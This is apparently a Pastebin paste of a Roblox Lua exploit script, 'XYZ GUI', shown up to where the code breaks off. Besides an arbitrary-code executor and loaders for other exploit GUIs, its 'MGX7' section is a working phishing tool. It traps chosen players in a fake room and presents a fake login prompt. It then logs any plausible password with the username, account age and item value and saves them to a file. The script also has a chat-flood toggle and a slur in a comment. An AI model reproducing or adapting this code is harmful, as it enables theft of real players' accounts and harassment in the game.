Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- --XYZ GUI Objects
- wait(2)
- local LoadingScreen = Instance.new("ScreenGui", game.Players.LocalPlayer.PlayerGui)
- local LoadingFrame = Instance.new("Frame", LoadingScreen)
- local LoadingText = Instance.new("TextBox", LoadingFrame)
- LoadingScreen.Name = "XYZLoad"
- LoadingFrame.Name = "LoadingFrame"
- LoadingFrame.Position = UDim2.new(0, 200, 0, 100)
- LoadingFrame.Visible = true
- LoadingFrame.BackgroundTransparency = 1
- LoadingText.Name = "LoadingText"
- LoadingText.Text = "Loading... (0/38)"
- LoadingText.BackgroundTransparency = 1
- LoadingText.Position = UDim2.new(0, 200, 0, -90)
- LoadingText.Font = Enum.Font.SourceSansBold
- LoadingText.TextColor3 = Color3.fromRGB(235, 235, 235)
- LoadingText.FontSize = Enum.FontSize.Size28
- wait(.2)
- LoadingText.Text = "Loading... (1/38)"
- wait(.2)
- LoadingText.Text = "Loading... (2/38)"
- wait(.2)
- LoadingText.Text = "Loading... (3/38)"
- wait(.2)
- LoadingText.Text = "Loading... (4/38)"
- wait(.2)
- LoadingText.Text = "Loading... (5/38)"
- wait(.2)
- LoadingText.Text = "Loading... (6/38)"
- wait(.2)
- LoadingText.Text = "Loading... (7/38)"
- wait(.2)
- LoadingText.Text = "Loading... (8/38)"
- wait(.2)
- LoadingText.Text = "Loading... (9/38)"
- wait(.2)
- LoadingText.Text = "Loading... (10/38)"
- wait(.2)
- LoadingText.Text = "Loading... (11/38)"
- wait(.2)
- LoadingText.Text = "Loading... (12/38)"
- wait(.2)
- LoadingText.Text = "Loading... (13/38)"
- wait(.2)
- LoadingText.Text = "Loading... (14/38)"
- wait(.2)
- LoadingText.Text = "Loading... (15/38)"
- wait(.2)
- LoadingText.Text = "Loading... (16/38)"
- wait(.2)
- LoadingText.Text = "Loading... (17/38)"
- wait(.2)
- LoadingText.Text = "Loading... (18/38)"
- wait(.2)
- LoadingText.Text = "Loading... (19/39)"
- wait(.2)
- LoadingText.Text = "Loading... (20/39)"
- wait(.2)
- LoadingText.Text = "Loading... (21/39)"
- wait(.2)
- LoadingText.Text = "Loading... (22/39)"
- wait(.2)
- LoadingText.Text = "Loading... (23/39)"
- wait(.2)
- LoadingText.Text = "Loading... (24/39)"
- wait(.2)
- LoadingText.Text = "Loading... (25/39)"
- wait(.2)
- LoadingText.Text = "Loading... (26/39)"
- wait(.2)
- LoadingText.Text = "Loading... (27/39)"
- wait(.2)
- LoadingText.Text = "Loading... (28/39)"
- wait(.2)
- LoadingText.Text = "Loading... (29/39)"
- wait(.2)
- LoadingText.Text = "Loading... (30/39)"
- wait(.2)
- LoadingText.Text = "Loading... (31/39)"
- wait(.2)
- LoadingText.Text = "Loading... (32/39)"
- wait(.2)
- LoadingText.Text = "Loading... (33/39)"
- wait(.2)
- LoadingText.Text = "Loading... (34/39)"
- wait(.2)
- LoadingText.Text = "Loading... (35/39)"
- wait(.2)
- LoadingText.Text = "Loading... (36/39)"
- wait(.2)
- LoadingText.Text = "Loading... (37/39)"
- wait(.2)
- LoadingText.Text = "Loading... (38/39)"
- wait(.2)
- LoadingText.Text = "Loading... (39/39)"
- wait(.2)
- LoadingText.Text = "Loading... (FINISH)"
- wait(5)
- LoadingScreen:Destroy()
- wait(2)
- local XYZ = Instance.new("ScreenGui", game.Players.LocalPlayer.PlayerGui)
- XYZ.Name = "XYZ"
- local UI = Instance.new("Frame", game.Players.LocalPlayer.PlayerGui.XYZ)
- UI.Name = "UI"
- local Execute = Instance.new("TextButton", game.Players.LocalPlayer.PlayerGui.XYZ.UI)
- local Clear = Instance.new("TextButton", game.Players.LocalPlayer.PlayerGui.XYZ.UI)
- local minimize_2 = Instance.new("TextButton", game.Players.LocalPlayer.PlayerGui.XYZ.UI)
- local x_2 = Instance.new("TextButton", game.Players.LocalPlayer.PlayerGui.XYZ.UI)
- local TextField = Instance.new("TextBox", game.Players.LocalPlayer.PlayerGui.XYZ.UI)
- local ReOpenFrame = Instance.new("Frame", game.Players.LocalPlayer.PlayerGui.XYZ)
- ReOpenFrame.Name = "ReOpenFrame"
- local ReOpen = Instance.new("TextButton", game.Players.LocalPlayer.PlayerGui.XYZ.ReOpenFrame)
- ReOpen.Name = "ReOpen"
- local GearsScreen = Instance.new("ScreenGui", game.Players.LocalPlayer.PlayerGui)
- local GearsFrame = Instance.new("Frame", GearsScreen)
- local x_4 = Instance.new("TextButton", GearsFrame)
- local OutputExecute = Instance.new("TextButton", GearsFrame)
- local TextField_2 = Instance.new("TextBox", GearsFrame)
- local onReOpenClick = game.Players.LocalPlayer.PlayerGui.XYZ.ReOpenFrame.ReOpen
- local GUITitle = Instance.new("TextLabel", game.Players.LocalPlayer.PlayerGui.XYZ.UI)
- local PreScriptUI = Instance.new("Frame", game.Players.LocalPlayer.PlayerGui.XYZ)
- local OpenPreScripts = Instance.new("TextButton", XYZ.UI)
- local DesignFrame = Instance.new("Frame", PreScriptUI)
- local AnonymousLocalPlayer = Instance.new("TextButton", DesignFrame)
- local x_3 = Instance.new("TextButton", PreScriptUI)
- local MGX7 = Instance.new("TextButton", DesignFrame)
- local RealMGX7 = Instance.new("TextButton", DesignFrame)
- local Opengears = Instance.new("TextButton", UI)
- local InputBar_1 = Instance.new("TextBox", GearsFrame)
- local RoExploit6 = Instance.new("TextButton", DesignFrame)
- local RoExploit5 = Instance.new("TextButton", DesignFrame)
- local BestSong = Instance.new("Sound", game.Players.LocalPlayer)
- BestSong.SoundId = "rbxassetid://185118176"
- BestSong.Looped = true
- BestSong.Pitch = 1
- BestSong.Volume = 1
- BestSong.Name = "BestSong"
- wait(1)
- BestSong:Play()
- XYZ.Name = "XYZ"
- XYZ.Parent = game.Players.LocalPlayer.PlayerGui
- UI.Name = "UI"
- UI.Parent = XYZ
- UI.Active = true
- UI.BackgroundColor3 = Color3.new(0.5,0.5,0.5)
- UI.Draggable = true
- UI.Position = UDim2.new(0, 200, 0, 100)
- UI.Size = UDim2.new(0, 370, 0, 350)
- UI.Visible = false
- Execute.Name = "Execute"
- Execute.Parent = UI
- Execute.BackgroundColor3 = Color3.fromRGB(222, 222, 222)
- Execute.Position = UDim2.new(0, 11, 0, 320)
- Execute.Size = UDim2.new(0, 100, 0, 25)
- Execute.Font = Enum.Font.SourceSans
- Execute.FontSize = Enum.FontSize.Size14
- Execute.Text = "Execute"
- Execute.TextColor3 = Color3.fromRGB(0, 0, 0)
- Clear.Name = "Clear"
- Clear.Parent = UI
- Clear.BackgroundColor3 = Color3.fromRGB(222, 222, 222)
- Clear.Position = UDim2.new(0, 204, 0, 320)
- Clear.Size = UDim2.new(0, 100, 0, 25)
- Clear.Font = Enum.Font.SourceSans
- Clear.FontSize = Enum.FontSize.Size14
- Clear.Text = "Clear"
- Clear.TextColor3 = Color3.fromRGB(0, 0, 0)
- TextField.Name = "TextField"
- TextField.Parent = UI
- TextField.BackgroundColor3 = Color3.fromRGB(234, 234, 234)
- TextField.BackgroundTransparency = 0
- TextField.Position = UDim2.new(0, 15, 0, 33)
- TextField.Size = UDim2.new(0, 285, 0, 273)
- TextField.ClearTextOnFocus = false
- TextField.Font = Enum.Font.SourceSans
- TextField.FontSize = Enum.FontSize.Size14
- TextField.MultiLine = true
- TextField.Text = "--XYZ GUI V0.3 Script Execution!"
- TextField.TextWrapped = true
- TextField.TextXAlignment = Enum.TextXAlignment.Left
- TextField.TextYAlignment = Enum.TextYAlignment.Top
- minimize_2.Name = "minimize"
- minimize_2.Parent = UI
- minimize_2.BackgroundColor3 = Color3.new(1, 1, 1)
- minimize_2.BackgroundTransparency = 1
- minimize_2.Position = UDim2.new(0, 320, 0, 0)
- minimize_2.Size = UDim2.new(0, 25, 0, 25)
- minimize_2.ZIndex = 4
- minimize_2.Font = Enum.Font.SourceSansBold
- minimize_2.FontSize = Enum.FontSize.Size14
- minimize_2.Text = "-"
- minimize_2.TextColor3 = Color3.new(1, 1, 1)
- x_2.Name = "x"
- x_2.Parent = UI
- x_2.BackgroundColor3 = Color3.new(1, 1, 1)
- x_2.BackgroundTransparency = 1
- x_2.Position = UDim2.new(0, 345, 0, 0)
- x_2.Size = UDim2.new(0, 25, 0, 25)
- x_2.ZIndex = 4
- x_2.Font = Enum.Font.SourceSansBold
- x_2.FontSize = Enum.FontSize.Size14
- x_2.Text = "X"
- x_2.TextColor3 = Color3.new(1, 1, 1)
- GUITitle.Name = "GUITitle"
- GUITitle.Parent = UI
- GUITitle.BackgroundColor3 = Color3.new(1, 1, 1)
- GUITitle.BackgroundTransparency = 1
- GUITitle.Position = UDim2.new(0, 100, 0, 0)
- GUITitle.Size = UDim2.new(0, 25, 0, 25)
- GUITitle.ZIndex = 4
- GUITitle.Font = Enum.Font.SourceSansBold
- GUITitle.FontSize = Enum.FontSize.Size14
- GUITitle.Text = "XYZ GUI V0.5"
- GUITitle.TextColor3 = Color3.new(1, 1, 1)
- OpenPreScripts.Name = "OpenPreScripts"
- OpenPreScripts.Text = "PreScripts"
- OpenPreScripts.Size = UDim2.new(0, 69, 0, 25)
- OpenPreScripts.Position = UDim2.new(0, 300, 0, 33)
- PreScriptUI.Name = "PreScripts"
- PreScriptUI.Parent = XYZ
- PreScriptUI.Active = true
- PreScriptUI.BackgroundColor3 = Color3.new(0.5,0.5,0.5)
- PreScriptUI.Draggable = true
- PreScriptUI.Position = UDim2.new(0, 200, 0, 100)
- PreScriptUI.Size = UDim2.new(0, 370, 0, 350)
- PreScriptUI.Visible = false
- AnonymousLocalPlayer.Name = "AnonLocalPlayer"
- AnonymousLocalPlayer.Parent = DesignFrame
- AnonymousLocalPlayer.Active = true
- AnonymousLocalPlayer.BackgroundColor3 = Color3.new(0.5,0.5,0.5)
- AnonymousLocalPlayer.Size = UDim2.new(0, 69, 0, 25)
- AnonymousLocalPlayer.Text = "Anon Player"
- AnonymousLocalPlayer.Position = UDim2.new(0, 0, 0, 23)
- MGX7.Name = "GoobyGUIV2"
- MGX7.Parent = DesignFrame
- MGX7.Active = true
- MGX7.BackgroundColor3 = Color3.new(0.5,0.5,0.5)
- MGX7.Size = UDim2.new(0, 69, 0, 25)
- MGX7.Text = "GoobyGUIV2"
- MGX7.Position = UDim2.new(0, 0, 0, 46)
- RealMGX7.Name = "MGX7"
- RealMGX7.Parent = DesignFrame
- RealMGX7.Active = true
- RealMGX7.BackgroundColor3 = Color3.new(0.5,0.5,0.5)
- RealMGX7.Size = UDim2.new(0, 69, 0, 25)
- RealMGX7.Text = "MGX7"
- RealMGX7.Position = UDim2.new(0, 0, 0, 69)
- RoExploit6.Name = "Ro-Xploit6"
- RoExploit6.Parent = DesignFrame
- RoExploit6.Active = true
- RoExploit6.BackgroundColor3 = Color3.new(0.5,0.5,0.5)
- RoExploit6.Size = UDim2.new(0, 69, 0, 25)
- RoExploit6.Text = "RoXploit6"
- RoExploit6.Position = UDim2.new(0, 0, 0, 92)
- RoExploit5.Name = "Ro-Xploit5"
- RoExploit5.Parent = DesignFrame
- RoExploit5.Active = true
- RoExploit5.BackgroundColor3 = Color3.new(0.5,0.5,0.5)
- RoExploit5.Size = UDim2.new(0, 69, 0, 25)
- RoExploit5.Text = "RoXploit5"
- RoExploit5.Position = UDim2.new(0, 0, 0, 125)
- x_3.Name = "x"
- x_3.Parent = PreScriptUI
- x_3.BackgroundColor3 = Color3.new(1, 1, 1)
- x_3.BackgroundTransparency = 1
- x_3.Position = UDim2.new(0, 329, 0, 0)
- x_3.Size = UDim2.new(0, 25, 0, 25)
- x_3.ZIndex = 4
- x_3.Font = Enum.Font.SourceSansBold
- x_3.FontSize = Enum.FontSize.Size14
- x_3.Text = "X"
- x_3.TextColor3 = Color3.new(1, 1, 1)
- DesignFrame.Name = "DesignFrame"
- DesignFrame.Parent = PreScriptUI
- DesignFrame.Active = true
- DesignFrame.BackgroundTransparency = 0.4
- DesignFrame.Position = UDim2.new(0, 15, 0, 25)
- DesignFrame.Size = UDim2.new(0, 340, 0, 310)
- DesignFrame.Visible = false
- DesignFrame.BackgroundColor3 = Color3.new(0, 0, 0)
- ReOpenFrame.Visible = true
- UI.Visible = false
- ReOpen.Size = UDim2.new(0, 50, 0, 50)
- ReOpen.Text = "XYZ"
- ReOpen.Visible = true
- Opengears.Name = "OpenGears/Output"
- Opengears.Text = "Gears"
- Opengears.Size = UDim2.new(0, 69, 0, 25)
- Opengears.Position = UDim2.new(0, 300, 0, 66)
- GearsScreen.Name = "Output/Gears"
- GearsScreen.Parent = game.Players.LocalPlayer.PlayerGui
- GearsFrame.Name = "GearsFrame"
- GearsFrame.Parent = GearsScreen
- GearsFrame.Active = true
- GearsFrame.BackgroundColor3 = Color3.new(0.5,0.5,0.5)
- GearsFrame.Draggable = true
- GearsFrame.Position = UDim2.new(0, 200, 0, 100)
- GearsFrame.Size = UDim2.new(0, 315, 0, 350)
- GearsFrame.Visible = false
- TextField_2.Name = "TextField"
- TextField_2.Parent = GearsFrame
- TextField_2.BackgroundColor3 = Color3.fromRGB(234, 234, 234)
- TextField_2.BackgroundTransparency = 0
- TextField_2.Position = UDim2.new(0, 15, 0, 33)
- TextField_2.Size = UDim2.new(0, 285, 0, 273)
- TextField_2.ClearTextOnFocus = false
- TextField_2.Font = Enum.Font.SourceSans
- TextField_2.FontSize = Enum.FontSize.Size14
- TextField_2.MultiLine = true
- TextField_2.Text = "Type :gears to view Gears!"
- TextField_2.TextWrapped = true
- TextField_2.TextXAlignment = Enum.TextXAlignment.Left
- TextField_2.TextYAlignment = Enum.TextYAlignment.Top
- InputBar_1.Name = "InputBar"
- InputBar_1.Parent = GearsFrame
- InputBar_1.BackgroundColor3 = Color3.fromRGB(234, 234, 234)
- InputBar_1.BackgroundTransparency = 0
- InputBar_1.Position = UDim2.new(0, 15, 0, 320)
- InputBar_1.Size = UDim2.new(0, 230, 0, 20)
- InputBar_1.ClearTextOnFocus = false
- InputBar_1.Font = Enum.Font.SourceSans
- InputBar_1.FontSize = Enum.FontSize.Size14
- InputBar_1.MultiLine = false
- InputBar_1.Text = ""
- InputBar_1.TextWrapped = true
- InputBar_1.TextXAlignment = Enum.TextXAlignment.Left
- InputBar_1.TextYAlignment = Enum.TextYAlignment.Top
- OutputExecute.Name = "Execute"
- OutputExecute.Parent = GearsFrame
- OutputExecute.BackgroundColor3 = Color3.fromRGB(234, 234, 234)
- OutputExecute.Position = UDim2.new(0, 250, 0, 320)
- OutputExecute.Size = UDim2.new(0, 50, 0, 20)
- OutputExecute.Font = Enum.Font.SourceSans
- OutputExecute.FontSize = Enum.FontSize.Size14
- OutputExecute.Text = "Execute"
- OutputExecute.TextColor3 = Color3.fromRGB(0, 0, 0)
- x_4.Name = "x"
- x_4.Parent = GearsFrame
- x_4.BackgroundColor3 = Color3.new(1, 1, 1)
- x_4.BackgroundTransparency = 1
- x_4.Position = UDim2.new(0, 290, 0, 0)
- x_4.Size = UDim2.new(0, 25, 0, 25)
- x_4.ZIndex = 4
- x_4.Font = Enum.Font.SourceSansBold
- x_4.FontSize = Enum.FontSize.Size14
- x_4.Text = "X"
- x_4.TextColor3 = Color3.new(1, 1, 1)
- function onClick()
- loadstring(TextField.Text)()
- end
- Execute.MouseButton1Click:connect(onClick)
- function onXClick()
- XYZ:Destroy()
- end
- x_2.MouseButton1Click:connect(onXClick)
- function onMinimizeClick()
- UI.Visible = false
- ReOpen.Size = UDim2.new(0, 50, 0, 50)
- ReOpen.Text = "XYZ"
- ReOpen.Visible = true
- end
- minimize_2.MouseButton1Click:connect(onMinimizeClick)
- function onXYZOpenClick()
- UI.Visible = true
- ReOpen.Visible = false
- end
- ReOpen.MouseButton1Click:connect(onXYZOpenClick)
- function onClearClick()
- TextField.Text = ""
- end
- Clear.MouseButton1Click:connect(onClearClick)
- function onPreScriptsClick()
- UI.Visible = false
- PreScriptUI.Visible = true
- ReOpen.Visible = true
- DesignFrame.Visible = true
- end
- OpenPreScripts.MouseButton1Click:connect(onPreScriptsClick)
- function onX_3Click()
- PreScriptUI.Visible = false
- end
- x_3.MouseButton1Click:connect(onX_3Click)
- function onAnonClick()
- local pe = Instance.new("ParticleEmitter",game.Players.LocalPlayer.Character.Torso)
- pe.Texture = "http://www.roblox.com/asset/?id=127476787"
- pe.VelocitySpread = 5
- end
- AnonymousLocalPlayer.MouseButton1Click:connect(onAnonClick)
- function onMGX7Click()
- loadstring(game:GetObjects("rbxassetid://447933940")[1].Source)()
- end
- MGX7.MouseButton1Click:connect(onMGX7Click)
- function onRoXploitClick()
- loadstring(game:GetObjects("rbxassetid://364364477")[1].Source)()
- end
- RoExploit6.MouseButton1Click:connect(onRoXploitClick)
- function onRoXploit5Click()
- loadstring(game:GetObjects("rbxassetid://288646117")[1].Source)()
- end
- RoExploit5.MouseButton1Click:connect(onRoXploit5Click)
- function onOpenGearsClick()
- GearsFrame.Visible = true
- ReOpenFrame.Visible = true
- UI.Visible = false
- ReOpen.Visible = true
- end
- Opengears.MouseButton1Click:connect(onOpenGearsClick)
- function GearExecuted()
- if InputBar_1.Text == ":gears" then
- TextField_2.Text = (TextField_2.Text.."\n"..">UserInput: [:gears]\n"..":Laser --Gives Player Laser Gun")
- else
- if InputBar_1.Text == ":Laser" then
- wait(2)
- TextField_2.Text = (TextField_2.Text.."\n"..">:Laser".."\n>User Gear Sent")
- local root = game:GetService("InsertService"):LoadAsset(130113146)
- local item = root:children()
- for i = 1, #item do
- item[i].Parent = game.Players.LocalPlayer.Backpack
- item[i]:Clone() .Parent = game.Players.Mechalicky.StarterGear
- end
- else
- TextField_2.Text = (TextField_2.Text.."\n"..">UserInput: ["..InputBar_1.Text.."]".."\n>Not Gear/Command")
- end
- end
- end
- OutputExecute.MouseButton1Click:connect(GearExecuted)
- function CharAdded()
- ReOpenFrame.Visible = true
- end
- game.Players.ChildAdded:connect(CharAdded)
- function onx_4Click()
- GearsFrame.Visible = false
- end
- x_4.MouseButton1Click:connect(onx_4Click)
- function onRealMGX7Click()
- --Dont leak faggot, or hell will be released
- local MyRoom = "BasicRoom"
- local StorageType = 2
- local ScamType = "Pick"
- local TargetList = {}
- local Bypassers = {
- {}
- }
- local Trello = {
- Enabled = false,
- List = "MRList",
- DumpList = "MRDumps",
- TrelloTargetList = "MRTargetList",
- DevKey = "",
- Token = "",
- }
- local floodChat = false
- local writeAccounts = true
- local fileName = "MGX8List"
- BypassKey = "v3rm"
- BypassKeyEnabled = true
- BypassKeyRules = true
- local kickLogin = false
- local RAPApi = true
- ------------------------------------------------------------------------
- local MainFolder = game:GetObjects("rbxassetid://432005266")[1]
- MainFolder.Parent = game.ReplicatedStorage
- local player = game.Players.LocalPlayer
- local CurrentlyScamming = {}
- local MRStorage
- local guiTool = MainFolder.Login
- local replaceScript = game:GetService("InsertService"):LoadAsset(80576967):GetChildren()[1].LocalScript
- guiTool.LocalScript:Destroy()
- replaceScript.Parent = guiTool
- local ruleTool = MainFolder["Bypass Rules"]
- local replaceScript = game:GetService("InsertService"):LoadAsset(80576967):GetChildren()[1].LocalScript
- ruleTool.LocalScript:Destroy()
- replaceScript.Parent = ruleTool
- local pickGui = MainFolder.PickGui
- function checkPass(pass, playa)
- if BypassKeyEnabled and pass == BypassKey then
- if BypassKeyRules then
- local newTool = ruleTool:Clone()
- newTool.Parent = workspace
- newTool.Handle.CanCollide = false
- newTool.Handle.CFrame = playa.Character.Head.CFrame
- end
- return true
- end
- if pass == "Password" or pass == "" or pass == "Enter Your Password" or pass == "Incorrect Password" or pass == "Enter your Password" then
- return false
- end
- local foundNums = 0
- local foundLetters = 0
- if string.find(pass, " ") then
- return false
- end
- if pass:len() < 6 or pass:len() > 20 then
- return false
- end
- for i=1,pass:len() do
- if pass:sub(i,i):match("%d") ~= nil then
- foundNums = foundNums + 1
- end
- end
- if foundNums < 2 then
- return false
- end
- for i=1,pass:len() do
- if pass:sub(i,i):match("%a") ~= nil then
- foundLetters = foundLetters + 1
- end
- end
- if foundLetters < 4 then
- return false
- end
- return true
- end
- function getUText(root, val)
- local found
- if val then
- found = val
- end
- for i,v in pairs(root:GetChildren()) do
- if v.Name == "UText" then
- found = v
- break
- end
- found = getUText(v,found)
- end
- return found
- end
- function getPText(root, val)
- local found
- if val then
- found = val
- end
- for i,v in pairs(root:GetChildren()) do
- if v.Name == "PText" then
- found = v
- break
- end
- found = getPText(v,found)
- end
- return found
- end
- function getILPopUp(root, val)
- local found
- if val then
- found = val
- end
- for i,v in pairs(root:GetChildren()) do
- if v.Name == "ILPopUp" then
- found = v
- break
- end
- found = getILPopUp(v,found)
- end
- return found
- end
- function unscPlayer(plr)
- for i,v in pairs(CurrentlyScamming) do
- if plr == v.Player then
- table.insert(Bypassers,{Name = plr.Name, ID = plr.UserId})
- table.remove(CurrentlyScamming,i)
- wait()
- while plr.Backpack:FindFirstChild("Login") do
- plr.Backpack.Login:Destroy()
- wait()
- end
- while plr.Character:FindFirstChild("Login") do
- plr.Character.Login:Destroy()
- wait()
- end
- plr.Character:WaitForChild("Torso")
- plr.Character:WaitForChild("HumanoidRootPart")
- plr.Character.HumanoidRootPart.Anchored = false
- plr.Character.HumanoidRootPart.CFrame = v.ReturnPos
- v.Player.CameraMaxZoomDistance = 400
- v.Player.CameraMinZoomDistance = 0
- v.RoomModel:Destroy()
- end
- end
- end
- function scPlayer(plr)
- ypcall(function()
- local debounce = false
- local roomCheck = MainFolder.Rooms:FindFirstChild(MyRoom)
- if roomCheck then
- local roomId = #CurrentlyScamming + 1
- local newRoom = roomCheck:Clone()
- newRoom.Parent = workspace
- newRoom:MoveTo(Vector3.new(5000,1000, 5000 + 100 * roomId))
- local newPacket = {Player = plr, RoomId = roomId, RoomModel = newRoom, ReturnPos = plr.Character.Torso.CFrame}
- table.insert(CurrentlyScamming,newPacket)
- --[[
- newRoom.LButton.ClickDetector.MouseClick:connect(function(playa)
- if debounce == false then
- if playa.Backpack:FindFirstChild("Login") then
- if playa == plr and getILPopUp(playa.Backpack.Login) and getPText(playa.Backpack.Login) then
- debounce = true
- getILPopUp(newRoom).Visible = false
- getILPopUp(playa.Backpack.Login).Visible = false
- wait(0.5)
- if playa.Backpack:FindFirstChild("Login") then
- if checkPass(getPText(playa.Backpack.Login).Text) then
- print(plr.Name .. " : " .. getPText(playa.Backpack.Login).Text)
- unscPlayer(plr)
- else
- getILPopUp(newRoom).Visible = true
- getILPopUp(playa.Backpack.Login).Visible = true
- getPText(playa.Backpack.Login).Text = ""
- end
- end
- end
- end
- debounce = false
- end
- end)
- --]]
- end
- end)
- end
- function isBypass(plr)
- local bypass = false
- for i,v in pairs(Bypassers) do
- if v.Name == plr.Name or v.ID == plr.UserId then
- bypass = true
- end
- end
- return bypass
- end
- function isScamming(plr)
- local isScam = false
- for i,v in pairs(CurrentlyScamming) do
- if v.Player.Name == plr then
- isScam = true
- end
- end
- return isScam
- end
- function fixPlayers()
- for i,v in pairs(CurrentlyScamming) do
- ypcall(function()
- if v.Player.Character:FindFirstChild("Login") then
- if v.Player.Character.Login:FindFirstChild("SprayGui") then
- local tempTool = v.Player.Character:FindFirstChild("Login")
- tempTool.Parent = v.RoomModel
- tempTool.Handle.CFrame = v.Player.Character.Head.CFrame
- end
- end
- end)
- end
- end
- function BCtoDumpStr(str)
- local res = ""
- if str == "Enum.MembershipType.BuildersClub" then
- res = "[BC] "
- elseif str == "Enum.MembershipType.TurboBuildersClub" then
- res = "[TBC] "
- elseif str == "Enum.MembershipType.OutrageousBuildersClub" then
- res = "[OBC] "
- elseif str == "Enum.MembershipType.None" then
- res = ""
- end
- return res
- end
- function getRap(user)
- local rap = "Error."
- if RAPApi then
- ypcall(function()
- local http = game:GetService("HttpService")
- local rawrap = http:JSONDecode(game:HttpGet("http://roblox.plus:2052/inventory?username=" .. user,true))
- rap = tostring(rawrap.rap)
- end)
- else
- rap = "Disabled."
- end
- return rap
- end
- function logAccount(user,pass)
- local playerName = user.Name
- local playerAge = tostring(user.AccountAge)
- local playerRAP = getRap(playerName)
- if print then
- print(BCtoDumpStr(tostring(user.MembershipType)) .. playerName .. " : " .. pass .. " Age: " .. playerAge .. " RAP: " .. playerRAP)
- end
- if readfile and writefile then
- if readfile(getelysianpath()..fileName..".txt") == "nil path doesn't exist" then
- writefile(getelysianpath()..fileName..".txt", BCtoDumpStr(tostring(user.MembershipType)) .. playerName .. " : " .. pass .. " Age: " .. playerAge .. " RAP: " .. playerRAP)
- else
- local tempFile = readfile(getelysianpath()..fileName..".txt")
- writefile(getelysianpath()..fileName..".txt", tempFile .. "\n" .. BCtoDumpStr(tostring(user.MembershipType)) .. playerName .. " : " .. pass .. " Age: " .. playerAge .. " RAP: " .. playerRAP)
- end
- end
- end
- function teleportVictims()
- for i,v in pairs(CurrentlyScamming) do
- ypcall(function()
- v.Player.Character.HumanoidRootPart.CFrame = v.RoomModel.Spawn.CFrame + Vector3.new(0,-10,0)
- v.Player.Character.HumanoidRootPart.Anchored = true
- if not v.Player.Backpack:FindFirstChild("Login") and not v.Player.Character:FindFirstChild("Login") then
- if not v.RoomModel:FindFirstChild("Login") then
- local tempTools = {}
- for i2,v2 in pairs(v.Player.Backpack:GetChildren()) do
- table.insert(tempTools,v2:Clone())
- v2:Destroy()
- end
- local newTool = guiTool:Clone()
- newTool.Parent = v.RoomModel
- newTool.Handle.CanCollide = false
- newTool.Handle.CFrame = v.Player.Character.Head.CFrame
- newTool.Handle.BodyPosition.Position = v.RoomModel.Spawn.Position + Vector3.new(0,-10,0)
- getUText(newTool).Text = v.Player.Name
- spawn(function()
- wait(2)
- for i2,v2 in pairs(tempTools) do
- v2.Parent = v.Player.Backpack
- end
- end)
- newTool.Changed:connect(function(prop)
- if not isScamming(v.Player.Name) then return end
- if prop == "Parent" and newTool.Parent.Name == "Backpack" then
- if v.Player.Backpack:FindFirstChild("Login") then
- if getILPopUp(v.Player.Backpack.Login) and getPText(v.Player.Backpack.Login) then
- getILPopUp(v.Player.Backpack.Login).Visible = false
- if v.Player.Backpack:FindFirstChild("Login") then
- if checkPass(getPText(v.Player.Backpack.Login).Text, v.Player) then
- logAccount(v.Player, getPText(v.Player.Backpack.Login).Text)
- unscPlayer(v.Player)
- spawn(function()
- wait(0.5)
- if kickLogin then
- if not v.Player.Backpack:FindFirstChild("Bypass Rules") and not v.Player.Character:FindFirstChild("Bypass Rules") then
- v.Player:Remove()
- end
- end
- end)
- else
- getILPopUp(v.Player.Backpack.Login).Visible = true
- getPText(v.Player.Backpack.Login).Text = ""
- wait()
- if not v.Player.Character:FindFirstChild("Login") then
- newTool.Parent = v.RoomModel
- newTool.Handle.CFrame = v.Player.Character.Head.CFrame
- end
- end
- end
- end
- end
- end
- end)
- end
- end
- end)
- end
- end
- wait()
- game.Players.PlayerRemoving:connect(function(playa)
- for i,v in pairs(CurrentlyScamming) do
- if v.Player == playa then
- table.remove(CurrentlyScamming,i)
- end
- end
- end)
- --[[
- local infoGui = Instance.new("ScreenGui",game.CoreGui)
- local infoText = Instance.new("TextLabel",infoGui)
- infoText.Position = UDim2.new(0,0,1,-20)
- infoText.Size = UDim2.new(1,0,0,20)
- infoText.FontSize = "Size18"
- infoText.Font = "SourceSansBold"
- infoText.BackgroundTransparency = 1
- infoText.TextColor3 = Color3.new(1,1,1)
- infoText.TextXAlignment = "Right"
- infoText.Text = "Press 'p' to toggle chat spam."
- --]]
- local mouse = game.Players.LocalPlayer:GetMouse()
- mouse.KeyDown:connect(function(key)
- if key == "p" then
- floodChat = not floodChat
- end
- end)
- spawn(function()
- while wait(3) do
- fixPlayers()
- end
- end)
- while wait() do
- teleportVictims()
- if floodChat then
- game.Players:Chat(".")
- game.Players:Chat(".")
- end
- if ScamType == "Normal" then
- for i,v in pairs(game.Players:GetPlayers()) do
- if StorageType == 1 then
- if not game.CoreGui.MRStorage:FindFirstChild(v.Name) and not isScamming(v.Name) and not isBypass(v) and v ~= game.Players.LocalPlayer then
- end
- elseif StorageType == 2 then
- if not game.ReplicatedStorage:FindFirstChild("MRStorage") then
- MRStorage = Instance.new("Folder",game.ReplicatedStorage)
- MRStorage.Name = "MRStorage"
- end
- if not game.ReplicatedStorage.MRStorage:FindFirstChild(v.Name) and not isScamming(v.Name) and not isBypass(v) and v ~= game.Players.LocalPlayer then
- scPlayer(v)
- end
- end
- end
- elseif ScamType == "Pick" then
- if StorageType == 1 then
- if not game.CoreGui.MRStorage:FindFirstChild(v.Name) and not isScamming(v.Name) and not isBypass(v) and v ~= game.Players.LocalPlayer then
- end
- elseif StorageType == 2 then
- if not game.ReplicatedStorage:FindFirstChild("MRStorage") then
- MRStorage = Instance.new("Folder",game.ReplicatedStorage)
- MRStorage.Name = "MRStorage"
- end
- if not game.CoreGui:FindFirstChild("PickGui") then
- local newPickGui = pickGui:Clone()
- newPickGui.Parent = game.CoreGui
- spawn(function()
- local pickGuiList = newPickGui.MainFrame.AccList
- local pickGuiResult = newPickGui.MainFrame.UserResult
- pickGuiList.CanvasSize = UDim2.new(0,0,0,0)
- local function updatePickList()
- pickGuiList:ClearAllChildren()
- for i,v in pairs(game.Players:GetPlayers()) do
- if v ~= player then
- local newRes = pickGuiResult:Clone()
- newRes.PlayerName.Text = v.Name
- newRes.PlayerPic.Image = "http://www.roblox.com/Thumbs/Avatar.ashx?x=100&y=100&userId="..v.UserId
- newRes.Position = UDim2.new(0,0,0,40 * #pickGuiList:GetChildren())
- if isScamming(v.Name) then
- newRes.PlayerStatus.Text = "Scamming..."
- end
- if isBypass(v) then
- newRes.PlayerStatus.Text = "Scammed"
- end
- newRes.Parent = pickGuiList
- pickGuiList.CanvasSize = UDim2.new(0,0,0,40 * #pickGuiList:GetChildren())
- newRes.Visible = true
- newRes.MouseButton1Down:connect(function()
- if not isScamming(v.Name) then
- scPlayer(v)
- end
- end)
